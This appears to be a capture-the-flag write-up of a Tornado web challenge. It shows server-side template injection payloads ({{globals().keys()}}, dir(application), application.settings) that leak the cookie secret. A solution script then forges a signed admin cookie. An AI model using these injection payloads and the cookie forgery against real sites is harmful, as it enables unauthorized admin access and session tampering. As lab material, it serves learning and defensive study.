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题目描述题目描述

You may think I walk with no 'name' because it can be changed whenever I want. I am a 'person' whose 'secret' can never be found. Can you find this 'person's 'secret'?

题目考点题目考点

解题思路解题思路

The website consists of a <select> with chocolate, vanilla and butterscotch. On selecting one and submitting, a message is displayed.

On inspecting the url, it is seen that the parameter icecream is used as, icecream={{chocolate}}. This makes it clear that script injection can be done. By inserting some random string like {{strawberry}}, we can see
that an error is thrown, but it is visible that the parameter is inserted into a py file. Thus, python scripts can be inserted as a parameter.

The python function globals() can be used to view all files. Inserting {{globals().keys()}}, a list of variables used in the code is obtained.

1 dict_keys(['escape', 'xhtml_escape', 'url_escape', 'json_encode', 'squeeze', 'linkify', 'datetime', '_tt_utf8', '_tt_string_types', '__name__', '__loader__', 'chocolate', 'vanilla'

The next step would be to find out which variable to use in this. On entering the webpage, a cookie called admin is set to false. This cookie is a Tornado cookie. To create a new token with admin as true, a secret key
would be needed. This secret key is in the Tornado application object.

There is an application object as seen in the result of globals(). To find the members of this object, dir(application) can be sent as a parameter to the page.

1 ['__call__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__'

With the settings object, passing application.settings returns the cookie secret. 'cookie_secret': 'MangoDB\n'. This can be used to create a signed token of admin as true.

Solution Script:
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import tornado.ioloop
import tornado.web
import time
class User(tornado.web.RequestHandler):
    def get(self):
        cookieName = "admin"        
        self.set_secure_cookie(cookieName, 'true')
application = tornado.web.Application([
    (r"/", User),
], cookie_secret="MangoDB\n")
if __name__ == "__main__":
    application.listen(8888)
    tornado.ioloop.IOLoop.instance().start()
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